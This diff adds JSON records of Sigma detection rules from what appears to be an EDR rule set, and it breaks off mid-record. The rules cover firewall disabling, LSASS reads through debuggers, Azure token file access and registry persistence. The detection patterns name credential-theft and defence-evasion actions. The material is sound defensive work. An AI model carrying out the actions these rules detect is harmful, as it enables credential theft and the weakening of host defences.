+  "creation_date": "2026-03-23T11:45:34.086753Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086758Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry",
+    "https://attack.mitre.org/techniques/T1562/004/",
+    "https://attack.mitre.org/software/S0075/"
+  ],
+  "name": "t1562_004_registry_disable_firewall_public_profile.yml",
+  "content": "title: Windows Firewall Disabled for Public Profile via Registry\nid: 31dd17cd-3ed5-4e4d-949f-71cfddc70c1e\ndescription: |\n    Detects when the firewall is disabled for the public profile.\n    Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\n    It is recommended to investigate the process performing this action to determine its legitimacy as well as to look for other suspicious actions on the affected host.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry\n    - https://attack.mitre.org/techniques/T1562/004/\n    - https://attack.mitre.org/software/S0075/\ndate: 2021/10/14\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.004\n    - attack.s0075\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\\EnableFirewall'\n        Details: 'DWORD (0x00000000)'\n\n    # Avoid detection when Windows firewall is disabled in graphic mode\n    # We have specific rules to detect deactivation via netsh or powershell\n    # This rule can match a deactivation via reg.exe for example (used by some malwares or test frameworks)\n    filter_svchost:\n        ProcessCommandLine:\n            - '?:\\windows\\system32\\svchost.exe -k localservicenonetwork'\n            - '?:\\windows\\system32\\svchost.exe -k localservicenonetworkfirewall -p'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork -p'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "31dd17cd-3ed5-4e4d-949f-71cfddc70c1e",
+  "rule_name": "Windows Firewall Disabled for Public Profile via Registry",
+  "rule_description": "Detects when the firewall is disabled for the public profile.\nAdversaries may disable or modify system firewalls in order to bypass controls limiting network usage.\nIt is recommended to investigate the process performing this action to determine its legitimacy as well as to look for other suspicious actions on the affected host.\n",
+  "rule_creation_date": "2021-10-14",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "31f4d3b1-b0a6-4fd6-9619-caa9a6bd7778",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075072Z",
+  "creation_date": "2026-03-23T11:45:34.075074Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075079Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_debugger_tracing_read_access.yml",
+  "content": "title: LSASS Accessed via Debugger Tool\nid: 31f4d3b1-b0a6-4fd6-9619-caa9a6bd7778\ndescription: |\n    Detects the use of legitimate debugging tools such as TTDInject or TTTracer to trace the lsass.exe process.\n    Time Travel Debugging (TTD) refers to the ability to track and keep records of the state of a running process over time.\n    This can be exploited to capture sensitive information like credentials or memory contents.\n    It is recommended to investigate the source of the debugging activity, analyze the command-line arguments for suspicious patterns, and review process interactions to identify potential malicious content.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Tttracer/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/06/04\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.LOLBin.Tttracer\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains: \"PROCESS_VM_READ\"\n\n    selection_ttdinject_calltrace:\n        CallTrace|contains: 'ttdinject.exe'\n\n    selection_ttdinject_original_name:\n        ProcessOriginalFileName: 'TTDInject.EXE'\n\n    condition: selection and 1 of selection_*\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "31f4d3b1-b0a6-4fd6-9619-caa9a6bd7778",
+  "rule_name": "LSASS Accessed via Debugger Tool",
+  "rule_description": "Detects the use of legitimate debugging tools such as TTDInject or TTTracer to trace the lsass.exe process.\nTime Travel Debugging (TTD) refers to the ability to track and keep records of the state of a running process over time.\nThis can be exploited to capture sensitive information like credentials or memory contents.\nIt is recommended to investigate the source of the debugging activity, analyze the command-line arguments for suspicious patterns, and review process interactions to identify potential malicious content.\n",
+  "rule_creation_date": "2021-06-04",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3201beb0-92c6-4539-9056-3a82a91c968b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598735Z",
+  "creation_date": "2026-03-23T11:45:34.598739Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598746Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1087/002/"
+  ],
+  "name": "t1087_002_dscacheutil_discovery_user_macos.yml",
+  "content": "title: Users Listed via dscacheutil\nid: 3201beb0-92c6-4539-9056-3a82a91c968b\ndescription: |\n    Detects the execution of the dscacheutil command to query information about users.\n    Adversaries can use this information for lateral movement or privilege escalation.\n    It is recommended to check for malicious behavior by the process launching dscacheutil.\nreferences:\n    - https://attack.mitre.org/techniques/T1087/002/\ndate: 2024/06/13\nmodified: 2025/05/15\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.001\n    - attack.t1087.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: 'dscacheutil'\n        CommandLine|contains: '-q user'\n\n    exclusion_legitimate_parent:\n        ParentImage:\n            - '/Library/Application Support/AirWatch/hubd'\n            - '/usr/local/libexec/ec2-macos-init'\n            - '/Applications/Kaspersky Anti-Virus For Mac.app/Contents/MacOS/kavd.app/Contents/MacOS/kavd'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3201beb0-92c6-4539-9056-3a82a91c968b",
+  "rule_name": "Users Listed via dscacheutil",
+  "rule_description": "Detects the execution of the dscacheutil command to query information about users.\nAdversaries can use this information for lateral movement or privilege escalation.\nIt is recommended to check for malicious behavior by the process launching dscacheutil.\n",
+  "rule_creation_date": "2024-06-13",
+  "rule_modified_date": "2025-05-15",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.001",
+    "attack.t1087.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3205ac34-383e-49e2-b12e-a0917cf9ef07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073489Z",
+  "creation_date": "2026-03-23T11:45:34.073491Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073495Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1620_suspicious_dotnet_exchange.yml",
+  "content": "title: Suspicious Dotnet Assembly Loaded by Exchange Server\nid: 3205ac34-383e-49e2-b12e-a0917cf9ef07\ndescription: |\n    Detects the loading suspicious a Dotnet library by Exchange Server.\n    Attackers may dynamically load assemblies in Exchange to stealthily execute further actions.\n    It is recommended to investigate the IIS processes near and after the load for suspicious behavior.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2025/07/25\nmodified: 2025/10/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_assembly:\n        AssemblyFlags: '0x0'\n        FullyQualifiedAssemblyName|contains:\n            - 'Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'\n            - 'Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'\n        ProcessName: 'w3wp.exe'\n\n    selection_app_exchange:\n        - ProcessCommandLine|contains: 'exchange'\n          ProcessName: 'w3wp.exe'\n        - ProcessParentCommandLine|contains: 'exchange'\n          ProcessParentName: 'w3wp.exe'\n        - ProcessGrandparentCommandLine|contains: 'exchange'\n          ProcessGrandparentName: 'w3wp.exe'\n\n    filter_path:\n      ModuleILPath|contains: ':\\'\n\n    exclusion_unknown:\n      FullyQualifiedAssemblyName: '????????, Version=?.0.0.0, Culture=neutral, PublicKeyToken=null'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3205ac34-383e-49e2-b12e-a0917cf9ef07",
+  "rule_name": "Suspicious Dotnet Assembly Loaded by Exchange Server",
+  "rule_description": "Detects the loading suspicious a Dotnet library by Exchange Server.\nAttackers may dynamically load assemblies in Exchange to stealthily execute further actions.\nIt is recommended to investigate the IIS processes near and after the load for suspicious behavior.\n",
+  "rule_creation_date": "2025-07-25",
+  "rule_modified_date": "2025-10-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1620"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "32191273-d165-4ec0-87ae-c0ebbdbda1af",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620831Z",
+  "creation_date": "2026-03-23T11:45:34.620832Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620837Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management",
+    "https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.2",
+    "https://attack.mitre.org/techniques/T1021/006/"
+  ],
+  "name": "t1021_006_winrm_service_auto.yml",
+  "content": "title: WinRM Service auto-start Enabled\nid: 32191273-d165-4ec0-87ae-c0ebbdbda1af\ndescription: |\n    Detects when the Windows Remote Management (WinRM) service is set to auto-start.\n    Windows Remote Management is a common Windows service that is used to interact with a remote system and is used, in particular, by PowerShell Remoting.\n    This can be used by an attacker to move laterally within an organization.\n    It is recommended to analyze the process responsible for the registry modification as well as to look for subsequent, unwanted usage of WinRM.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management\n    - https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.2\n    - https://attack.mitre.org/techniques/T1021/006/\ndate: 2022/11/04\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.006\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WinRM\\Start'\n        Details: 'DWORD (0x00000002)' # SERVICE_AUTO_START\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_loadstate:\n        ProcessOriginalFileName: 'LoadState.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_exchange:\n        ProcessOriginalFileName: 'ExSetupUI.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "32191273-d165-4ec0-87ae-c0ebbdbda1af",
+  "rule_name": "WinRM Service auto-start Enabled",
+  "rule_description": "Detects when the Windows Remote Management (WinRM) service is set to auto-start.\nWindows Remote Management is a common Windows service that is used to interact with a remote system and is used, in particular, by PowerShell Remoting.\nThis can be used by an attacker to move laterally within an organization.\nIt is recommended to analyze the process responsible for the registry modification as well as to look for subsequent, unwanted usage of WinRM.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "323dc7e5-08a1-429c-83b5-3df588b5a245",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082314Z",
+  "creation_date": "2026-03-23T11:45:34.082316Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082320Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/explorertools.html",
+    "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_explorer_tools.yml",
+  "content": "title: Possible Explorer Tools Persistence Added\nid: 323dc7e5-08a1-429c-83b5-3df588b5a245\ndescription: |\n    Detects the edition of the Explorer Tools registry keys that lists tools sometimes called by Windows.\n    This method is used as a means to achieve persistence by replacing one of the registry keys by a malicious payload.\n    It is recommended to analyze the process responsible for this registry modification to look for other malicious actions, as well as to analyze the file pointed to by the registry value.\nreferences:\n    - https://persistence-info.github.io/Data/explorertools.html\n    - https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/07/20\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\BackupPath\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\cleanuppath\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\defragpath\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\NameSpace\\(Default)'\n            - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\RemovableStorage\\(Default)'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_legitimate_tools:\n        Details|contains:\n            - '%SystemRoot%\\system32\\sdclt.exe'\n            - '%SystemRoot%\\System32\\cleanmgr.exe'\n            - '%systemroot%\\system32\\dfrgui.exe'\n            - '%systemroot%\\system32\\wbadmin.msc'\n\n    exclusion_iobit:\n        ProcessImage:\n            - '?:\\Program Files\\iobit\\advanced systemcare\\ascinit.exe'\n            - '?:\\Program Files (x86)\\iobit\\advanced systemcare\\ascinit.exe'\n        Details:\n            - '?:\\Program Files\\iobit\\advanced systemcare\\diskdefrag.exe'\n            - '?:\\Program Files (x86)\\iobit\\advanced systemcare\\diskdefrag.exe'\n\n    exclusion_defraggler:\n        Details:\n            - '?:\\program files\\defraggler\\defraggler64.exe'\n            - '?:\\program files (x86)\\defraggler\\defraggler64.exe'\n            - '?:\\program files\\utilitaires disque\\defraggler\\defraggler64.exe'\n            - '?:\\program files (x86)\\utilitaires disque\\defraggler\\defraggler64.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "323dc7e5-08a1-429c-83b5-3df588b5a245",
+  "rule_name": "Possible Explorer Tools Persistence Added",
+  "rule_description": "Detects the edition of the Explorer Tools registry keys that lists tools sometimes called by Windows.\nThis method is used as a means to achieve persistence by replacing one of the registry keys by a malicious payload.\nIt is recommended to analyze the process responsible for this registry modification to look for other malicious actions, as well as to analyze the file pointed to by the registry value.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3309bac8-843b-4a14-91b2-c7af144c1be8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625588Z",
+  "creation_date": "2026-03-23T11:45:34.625590Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625594Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/001/"
+  ],
+  "name": "t1552_004_azure_config_read_macos.yml",
+  "content": "title: Suspicious Access to Azure Configuration File\nid: 3309bac8-843b-4a14-91b2-c7af144c1be8\ndescription: |\n    Detects an attempt to read the contents of the Azure configuration file.\n    Adversaries may attempt to read an Azure user's configuration file in order to gather credentials and move to cloud environments.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/001/\ndate: 2024/06/18\nmodified: 2025/12/22\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Kind: 'read'\n        Path:\n            - '/Users/*/.azure/azureProfile.json'\n            - '/Users/*/.azure/accessTokens.json'\n        ProcessImage|contains: '?'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: 